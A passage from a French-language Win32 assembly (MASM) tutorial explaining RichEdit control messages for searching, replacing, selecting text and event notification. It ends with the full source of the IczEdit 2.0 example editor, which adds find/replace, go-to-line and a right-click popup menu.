En définitive, pour rechercher une chaîne de texte, vous devez spécifier la gamme de caractères à chercher. La signification de cpMin
et de cpMax est un peu différente entre une recherche de bas en haut ou son inverse. Si la recherche s'effectue de haut en bas, cpMin
représente l'index du caractère de départ à rechercher et cpMax l'index du dernier caractère de cette chaîne. Si la recherche se fait en remontant,
c'est l'inverse, c'est-à-dire que CpMin contient l'index du dernier caractère de la chaîne tandis que cpMax représente l'index du caractère de départ.

lpstrText  pointe sur la chaîne de texte à rechercher.

EM_FINDTEXT retourne l'index du premier caractère de la chaîne de texte trouvée, dans le Richedit Control. Ou bien -1 si rien n'est trouvé.

EM_FINDTEXTEX
wParam == Options de recherche. Les mêmes que pour EM_FINDTEXT.
lParam == Pointeur sur la structure FINDTEXTEX.

            FINDTEXTEX STRUCT
              chrg          CHARRANGE  <>
              lpstrText     DWORD      ?
              chrgText	CHARRANGE <>
            FINDTEXTEX ENDS

Les deux premiers membres de FINDTEXTEX sont identiques à ceux de la structure FINDTEXT. ChrgText est une structure CHARRANGE qui sera remplit avec les
indices des caractères de départ et de fin si quelque chose est trouvé.
La valeur en retour de EM_FINDTEXTEX est la même que pour EM_FINDTEXT.

La différence entre EM_FINDTEXT et EM_FINDTEXTEX c'est que la structure FINDTEXTEX possède un membre de plus, ChrgText sera remplit des index
des caractères de départ et de fin si quelque chose est trouvé. C'est pratique si nous souhaitons effectuer d'autres opérations supplémentaires sur la chaîne
de texte retrouvée.

Replacement/Insertion de Text

Le RichEdit Control utilise EM_SETTEXTEX pour l'opération de remplacement/insertion de texte. Ce message combine les deux messages WM_SETTEXT et EM_REPLACESEL. Il a la syntaxe suivante:

    EM_SETTEXTEX
    wParam == pointeur sur la structure SETTEXTEX.

            SETTEXTEX STRUCT
              flags          DWORD      ?
              codepage       DWORD      ?
            SETTEXTEX ENDS

    flags peut être une combination des valeurs suivantes:
ST_DEFAULT | Supprime les effets appliqués sur le texte, renonce au formatage du texte, remplace tout le texte.
ST_KEEPUNDO | Maintient le formatage du texte.
ST_SELECTION | Replace la sélection et garde le formatage du texte.
    codepage est une constante prédéfinie qui est le 'code page' que vous souhaitez appliquer à votre texte. D'habitude, on utilise simplement CP_ACP.

Selection de Texte

Nous pouvons sélectionner le texte grammaticalement avec EM_SETSEL ou EM_EXSETSEL. Les deux marchent bien. Le choix du message à utiliser dépend de la validité du format des index. S'ils sont déjà stockés dans une structure CHARRANGE, ce sera le message EM_EXSETSEL le plus facile à utiliser.

    EM_EXSETSEL
    wParam == inutilisé. Doit être 0
    lParam == pointeur sur une structure CHARRANGE laquelle contient la gamme de caractères à sélectionner.

Notification d'Evénements:

Pour un Edit Control de type multilignes, vous devez le sous-classer pour récupérer ses messages d'entrée tels que les événements souris / clavier. Le RichEdit Control met à notre disposition un meilleur système qui notifiera (informera) la fenêtre parente de tels événements. Pour que la fenêtre parente soit prévenue de l'arrivée d'Evénements intéressants on envoie le message EM_SETEVENTMASK au RichEdit Control, en spécifiant bien lesquels (quels événements) on souhaite traiter. EM_SETEVENTMASK a la syntaxe suivante :

    EM_SETEVENTMASK
    wParam == inutilisé. Doit être 0
    lParam == les différents événements auxquels on s'intéresse. Ca peut être une combination des flags du tableau suivant.
ENM_CHANGE | Envoie le message de notification EN_CHANGE (l'Edit Control renvoie les messages EN_CHANGE vers la fenêtre parente)
ENM_CORRECTTEXT | Envoie le message de notification EN_CORRECTTEXT
ENM_DRAGDROPDONE | Envoie le message de notification EN_DRAGDROPDONE
ENM_DROPFILES | Envoie le message de notification EN_DROPFILES
ENM_KEYEVENTS | Envoie le message de notification EN_MSGFILTER pour les événements clavier.
ENM_LINK | Rich Edit 2.0 et plus : Envoie le message de notification EN_LINK lorsque le pointeur de la souris survole un texte présentant le flag CFE_LINK (un lien) et qu'une ou plusieurs actions souris sont effectuées (clic, double-clic).
ENM_MOUSEEVENTS | Envoie le message de notification EN_MSGFILTER pour les événements souris.
ENM_OBJECTPOSITIONS | Envoie le message de notification EN_OBJECTPOSITIONS
ENM_PROTECTED | Envoie le message de notification EN_PROTECTED
ENM_REQUESTRESIZE | Envoie le message de notification EN_REQUESTRESIZE
ENM_SCROLL | Envoie les messages de notification EN_HSCROLL et EN_VSCROLL
ENM_SCROLLEVENTS | Envoie le message de notification EN_MSGFILTER pour les événement de la roulette de la souris
ENM_SELCHANGE | Envoie le message de notification EN_SELCHANGE
ENM_UPDATE | Envoie le message de notification EN_UPDATE Rich Edit 2.0 et plus: ce flag est ignoré et les messages de notification EN_UPDATE sont toujours renvoyés. Cependant, si un Rich Edit 3.0 émule un Rich Edit 1.0, vous devez utiliser ce flag pour envoyer le message de notification EN_UPDATE

Tous les messages de notifications ci-dessus seront envoyés comme un simple message WM_NOTIFY : vous devez vérifier le membre 'code' appartenant à la structure NMHDR pour chaque message de notification en question. Par exemple, si vous voulez traiter des événements souris (autrement dit si vous voulez avoir accès au context sensitif du menu popup), vous devez faire quelque chose comme cela:

    invoke SendMessage,hwndRichEdit,EM_SETEVENTMASK,0,ENM_MOUSEEVENTS
    .....
    .....
    WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    .....
    ....
        .elseif uMsg==WM_NOTIFY
            push esi
            mov esi,lParam
            assume esi:ptr NMHDR
            .if [esi].code==EN_MSGFILTER
                ....
                [ mettre quelque chose ici ]
                ....
            .endif
            pop esi

Exemple:

L'exemple suivant est la mise à jour du programme IczEdit du tutorial N° 33. Il ajoute la fonctionnalité rechercher/remplacer ainsi que les touches spéciales de navigation (TAB) (accelerator keys) à ce programme. Il traite aussi les événements souris et fournit un menu popup pour un clic-droit de la souris.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\gdi32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.const
IDR_MAINMENU                   equ 101
IDM_OPEN                      equ  40001
IDM_SAVE                       equ 40002
IDM_CLOSE                      equ 40003
IDM_SAVEAS                     equ 40004
IDM_EXIT                       equ 40005
IDM_COPY                      equ  40006
IDM_CUT                       equ  40007
IDM_PASTE                      equ 40008
IDM_DELETE                     equ 40009
IDM_SELECTALL                  equ 40010
IDM_OPTION 			equ 40011
IDM_UNDO			equ 40012
IDM_REDO			equ 40013
IDD_OPTIONDLG                  equ 101
IDC_BACKCOLORBOX               equ 1000
IDC_TEXTCOLORBOX               equ 1001
IDR_MAINACCEL                 equ  105
IDD_FINDDLG                    equ 102
IDD_GOTODLG                    equ 103
IDD_REPLACEDLG                 equ 104
IDC_FINDEDIT                  equ  1000
IDC_MATCHCASE                  equ 1001
IDC_REPLACEEDIT                 equ 1001
IDC_WHOLEWORD                  equ 1002
IDC_DOWN                       equ 1003
IDC_UP                       equ   1004
IDC_LINENO                   equ   1005
IDM_FIND                       equ 40014
IDM_FINDNEXT                  equ  40015
IDM_REPLACE                     equ 40016
IDM_GOTOLINE                   equ 40017
IDM_FINDPREV                  equ  40018
RichEditID 			equ 300

.data
ClassName db "IczEditClass",0
AppName  db "IczEdit version 2.0",0
RichEditDLL db "riched20.dll",0
RichEditClass db "RichEdit20A",0
NoRichEdit db "Cannot find riched20.dll",0
ASMFilterString 		db "ASM Source code (*.asm)",0,"*.asm",0
                db "All Files (*.*)",0,"*.*",0,0
OpenFileFail db "Cannot open the file",0
WannaSave db "The data in the control is modified. Want to save it?",0
FileOpened dd FALSE
BackgroundColor dd 0FFFFFFh		; blanc par défault
TextColor dd 0		; noir par défault
hSearch dd ?		; handle de la DialogBox Rechercher/Remplacer
hAccel dd ?

.data?
hInstance dd ?
hRichEdit dd ?
hwndRichEdit dd ?
FileName db 256 dup(?)
AlternateFileName db 256 dup(?)
CustomColors dd 16 dup(?)
FindBuffer db 256 dup(?)
ReplaceBuffer db 256 dup(?)
uFlags dd ?
findtext FINDTEXTEX <>

.code
start:
    mov byte ptr [FindBuffer],0
    mov byte ptr [ReplaceBuffer],0
    invoke GetModuleHandle, NULL
    mov    hInstance,eax
    invoke LoadLibrary,addr RichEditDLL
    .if eax!=0
        mov hRichEdit,eax
        invoke WinMain, hInstance,0,0, SW_SHOWDEFAULT
        invoke FreeLibrary,hRichEdit
    .else
        invoke MessageBox,0,addr NoRichEdit,addr AppName,MB_OK or MB_ICONERROR
    .endif
    invoke ExitProcess,eax

WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:DWORD
    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInst
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,IDR_MAINMENU
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
           WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
           CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
           hInst,NULL
    mov   hwnd,eax
    invoke ShowWindow, hwnd,SW_SHOWNORMAL
    invoke UpdateWindow, hwnd
    invoke LoadAccelerators,hInstance,IDR_MAINACCEL
    mov hAccel,eax
    .while TRUE
        invoke GetMessage, ADDR msg,0,0,0
        .break .if (!eax)
        invoke IsDialogMessage,hSearch,addr msg
        .if eax==FALSE
            invoke TranslateAccelerator,hwnd,hAccel,addr msg
            .if eax==0
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
            .endif
        .endif
    .endw
    mov   eax,msg.wParam
    ret
WinMain endp

StreamInProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesRead:DWORD
    invoke ReadFile,hFile,pBuffer,NumBytes,pBytesRead,0
    xor eax,1
    ret
StreamInProc endp

StreamOutProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesWritten:DWORD
    invoke WriteFile,hFile,pBuffer,NumBytes,pBytesWritten,0
    xor eax,1
    ret
StreamOutProc endp

CheckModifyState proc hWnd:DWORD
    invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
    .if eax!=0
        invoke MessageBox,hWnd,addr WannaSave,addr AppName,MB_YESNOCANCEL
        .if eax==IDYES
            invoke SendMessage,hWnd,WM_COMMAND,IDM_SAVE,0
        .elseif eax==IDCANCEL
            mov eax,FALSE
            ret
        .endif
    .endif
    mov eax,TRUE
    ret
CheckModifyState endp

SetColor proc
    LOCAL cfm:CHARFORMAT
    invoke SendMessage,hwndRichEdit,EM_SETBKGNDCOLOR,0,BackgroundColor
    invoke RtlZeroMemory,addr cfm,sizeof cfm
    mov cfm.cbSize,sizeof cfm
    mov cfm.dwMask,CFM_COLOR
    push TextColor
    pop cfm.crTextColor
    invoke SendMessage,hwndRichEdit,EM_SETCHARFORMAT,SCF_ALL,addr cfm
    ret
SetColor endp

OptionProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL clr:CHOOSECOLOR
    .if uMsg==WM_INITDIALOG
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDC_BACKCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push BackgroundColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop BackgroundColor
                    invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDC_TEXTCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push TextColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop TextColor
                    invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDOK
                invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
                push eax
                invoke SetColor
                pop eax
                invoke SendMessage,hwndRichEdit,EM_SETMODIFY,eax,0
                invoke EndDialog,hWnd,0
            .endif
        .endif
    .elseif uMsg==WM_CTLCOLORSTATIC
        invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
        .if eax==lParam
            invoke CreateSolidBrush,BackgroundColor
            ret
        .else
            invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
            .if eax==lParam
                invoke CreateSolidBrush,TextColor
                ret
            .endif
        .endif
        mov eax,FALSE
        ret
    .elseif uMsg==WM_CLOSE
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
OptionProc endp

SearchProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
        invoke CheckRadioButton,hWnd,IDC_DOWN,IDC_UP,IDC_DOWN
        invoke SendDlgItemMessage,hWnd,IDC_FINDEDIT,WM_SETTEXT,0,addr FindBuffer
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDOK
                mov uFlags,0
                invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
                .if eax!=0
                    invoke IsDlgButtonChecked,hWnd,IDC_DOWN
                    .if eax==BST_CHECKED
                        or uFlags,FR_DOWN
                        mov eax,findtext.chrg.cpMin
                        .if eax!=findtext.chrg.cpMax
                            push findtext.chrg.cpMax
                            pop findtext.chrg.cpMin
                        .endif
                        mov findtext.chrg.cpMax,-1
                    .else
                        mov findtext.chrg.cpMax,0
                    .endif
                    invoke IsDlgButtonChecked,hWnd,IDC_MATCHCASE
                    .if eax==BST_CHECKED
                        or uFlags,FR_MATCHCASE
                    .endif
                    invoke IsDlgButtonChecked,hWnd,IDC_WHOLEWORD
                    .if eax==BST_CHECKED
                        or uFlags,FR_WHOLEWORD
                    .endif
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,uFlags,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .else
                mov eax,FALSE
                ret
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
SearchProc endp

ReplaceProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL settext:SETTEXTEX
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
        invoke SetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer
        invoke SetDlgItemText,hWnd,IDC_REPLACEEDIT,addr ReplaceBuffer
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDOK
                invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
                invoke GetDlgItemText,hWnd,IDC_REPLACEEDIT,addr ReplaceBuffer,sizeof ReplaceBuffer
                mov findtext.chrg.cpMin,0
                mov findtext.chrg.cpMax,-1
                mov findtext.lpstrText,offset FindBuffer
                mov settext.flags,ST_SELECTION
                mov settext.codepage,CP_ACP
                .while TRUE
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,FR_DOWN,addr findtext
                    .if eax==-1
                        .break
                    .else
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                        invoke SendMessage,hwndRichEdit,EM_SETTEXTEX,addr settext,addr ReplaceBuffer
                    .endif
                .endw
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
ReplaceProc endp

GoToProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL LineNo:DWORD
    LOCAL chrg:CHARRANGE
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDOK
                invoke GetDlgItemInt,hWnd,IDC_LINENO,NULL,FALSE
                mov LineNo,eax
                invoke SendMessage,hwndRichEdit,EM_GETLINECOUNT,0,0
                .if eax>LineNo
                    invoke SendMessage,hwndRichEdit,EM_LINEINDEX,LineNo,0
                    mov chrg.cpMin,eax
                    mov chrg.cpMax,eax
                    invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr chrg
                    invoke SetFocus,hwndRichEdit
                .endif
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
GoToProc endp

PrepareEditMenu proc hSubMenu:DWORD
    LOCAL chrg:CHARRANGE
    invoke SendMessage,hwndRichEdit,EM_CANPASTE,CF_TEXT,0
    .if eax==0		; no text in the clipboard
        invoke EnableMenuItem,hSubMenu,IDM_PASTE,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_PASTE,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_CANUNDO,0,0
    .if eax==0
        invoke EnableMenuItem,hSubMenu,IDM_UNDO,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_UNDO,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_CANREDO,0,0
    .if eax==0
        invoke EnableMenuItem,hSubMenu,IDM_REDO,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_REDO,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr chrg
    mov eax,chrg.cpMin
    .if eax==chrg.cpMax		; no current selection
        invoke EnableMenuItem,hSubMenu,IDM_COPY,MF_GRAYED
        invoke EnableMenuItem,hSubMenu,IDM_CUT,MF_GRAYED
        invoke EnableMenuItem,hSubMenu,IDM_DELETE,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_COPY,MF_ENABLED
        invoke EnableMenuItem,hSubMenu,IDM_CUT,MF_ENABLED
        invoke EnableMenuItem,hSubMenu,IDM_DELETE,MF_ENABLED
    .endif
    ret
PrepareEditMenu endp

WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL ofn:OPENFILENAME
    LOCAL buffer[256]:BYTE
    LOCAL editstream:EDITSTREAM
    LOCAL hFile:DWORD
    LOCAL hPopup:DWORD
    LOCAL pt:POINT
    LOCAL chrg:CHARRANGE
    .if uMsg==WM_CREATE
        invoke CreateWindowEx,WS_EX_CLIENTEDGE,addr RichEditClass,0,WS_CHILD or WS_VISIBLE or ES_MULTILINE or WS_VSCROLL or WS_HSCROLL or ES_NOHIDESEL,\
                CW_USEDEFAULT,CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,hWnd,RichEditID,hInstance,0
        mov hwndRichEdit,eax
        invoke SendMessage,hwndRichEdit,EM_LIMITTEXT,-1,0
        invoke SetColor
        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
        invoke SendMessage,hwndRichEdit,EM_SETEVENTMASK,0,ENM_MOUSEEVENTS
        invoke SendMessage,hwndRichEdit,EM_EMPTYUNDOBUFFER,0,0
    .elseif uMsg==WM_NOTIFY
        push esi
        mov esi,lParam
        assume esi:ptr NMHDR
        .if [esi].code==EN_MSGFILTER
            assume esi:ptr MSGFILTER
            .if [esi].msg==WM_RBUTTONDOWN
                invoke GetMenu,hWnd
                invoke GetSubMenu,eax,1
                mov hPopup,eax
                invoke PrepareEditMenu,hPopup
                mov edx,[esi].lParam
                mov ecx,edx
                and edx,0FFFFh
                shr ecx,16
                mov pt.x,edx
                mov pt.y,ecx
                invoke ClientToScreen,hWnd,addr pt
                invoke TrackPopupMenu,hPopup,TPM_LEFTALIGN or TPM_BOTTOMALIGN,pt.x,pt.y,NULL,hWnd,NULL
            .endif
        .endif
        pop esi
    .elseif uMsg==WM_INITMENUPOPUP
        mov eax,lParam
        .if ax==0		; file menu
            .if FileOpened==TRUE	; a file is already opened
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_GRAYED
            .endif
        .elseif ax==1	; edit menu
            invoke PrepareEditMenu,wParam
        .elseif ax==2		; search menu bar
            .if FileOpened==TRUE
                invoke EnableMenuItem,wParam,IDM_FIND,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_FINDNEXT,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_FINDPREV,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_REPLACE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_GOTOLINE,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_FIND,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_FINDNEXT,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_FINDPREV,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_REPLACE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_GOTOLINE,MF_GRAYED
            .endif
        .endif
    .elseif uMsg==WM_COMMAND
        .if lParam==0		; menu commands
            mov eax,wParam
            .if ax==IDM_OPEN
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset FileName
                mov byte ptr [FileName],0
                mov ofn.nMaxFile,sizeof FileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetOpenFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        mov hFile,eax
                        ;================================================================
                        ; stream the text into the richedit control
                        ;================================================================
                        mov editstream.dwCookie,eax
                        mov editstream.pfnCallback,offset StreamInProc
                        invoke SendMessage,hwndRichEdit,EM_STREAMIN,SF_TEXT,addr editstream
                        ;==========================================================
                        ; Initialize the modify state to false
                        ;==========================================================
                        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                        invoke CloseHandle,hFile
                        mov FileOpened,TRUE
                    .else
                        invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                    .endif
                .endif
            .elseif ax==IDM_CLOSE
                invoke CheckModifyState,hWnd
                .if eax==TRUE
                    invoke SetWindowText,hwndRichEdit,0
                    mov FileOpened,FALSE
                .endif
            .elseif ax==IDM_SAVE
                invoke CreateFile,addr FileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                .if eax!=INVALID_HANDLE_VALUE
@@:
                    mov hFile,eax
                    ;================================================================
                    ; stream the text to the file
                    ;================================================================
                    mov editstream.dwCookie,eax
                    mov editstream.pfnCallback,offset StreamOutProc
                    invoke SendMessage,hwndRichEdit,EM_STREAMOUT,SF_TEXT,addr editstream
                    ;==========================================================
                    ; Initialize the modify state to false
                    ;==========================================================
                    invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                    invoke CloseHandle,hFile
                .else
                    invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                .endif
            .elseif ax==IDM_COPY
                invoke SendMessage,hwndRichEdit,WM_COPY,0,0
            .elseif ax==IDM_CUT
                invoke SendMessage,hwndRichEdit,WM_CUT,0,0
            .elseif ax==IDM_PASTE
                invoke SendMessage,hwndRichEdit,WM_PASTE,0,0
            .elseif ax==IDM_DELETE
                invoke SendMessage,hwndRichEdit,EM_REPLACESEL,TRUE,0
            .elseif ax==IDM_SELECTALL
                mov chrg.cpMin,0
                mov chrg.cpMax,-1
                invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr chrg
            .elseif ax==IDM_UNDO
                invoke SendMessage,hwndRichEdit,EM_UNDO,0,0
            .elseif ax==IDM_REDO
                invoke SendMessage,hwndRichEdit,EM_REDO,0,0
            .elseif ax==IDM_OPTION
                invoke DialogBoxParam,hInstance,IDD_OPTIONDLG,hWnd,addr OptionProc,0
            .elseif ax==IDM_SAVEAS
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset AlternateFileName
                mov byte ptr [AlternateFileName],0
                mov ofn.nMaxFile,sizeof AlternateFileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetSaveFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr AlternateFileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        jmp @B
                    .endif
                .endif
            .elseif ax==IDM_FIND
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_FINDDLG,hWnd,addr SearchProc,0
                .endif
            .elseif ax==IDM_REPLACE
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_REPLACEDLG,hWnd,addr ReplaceProc,0
                .endif
            .elseif ax==IDM_GOTOLINE
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_GOTODLG,hWnd,addr GoToProc,0
                .endif
            .elseif ax==IDM_FINDNEXT
                invoke lstrlen,addr FindBuffer
                .if eax!=0
                    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                    mov eax,findtext.chrg.cpMin
                    .if eax!=findtext.chrg.cpMax
                        push findtext.chrg.cpMax
                        pop findtext.chrg.cpMin
                    .endif
                    mov findtext.chrg.cpMax,-1
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,FR_DOWN,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDM_FINDPREV
                invoke lstrlen,addr FindBuffer
                .if eax!=0
                    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                    mov findtext.chrg.cpMax,0
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,0,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDM_EXIT
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        invoke CheckModifyState,hWnd
        .if eax==TRUE
            invoke DestroyWindow,hWnd
        .endif
    .elseif uMsg==WM_SIZE
        mov eax,lParam
        mov edx,eax
        and eax,0FFFFh
        shr edx,16
        invoke MoveWindow,hwndRichEdit,0,0,eax,edx,TRUE
    .elseif uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .else
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
WndProc endp
end start

Analyse

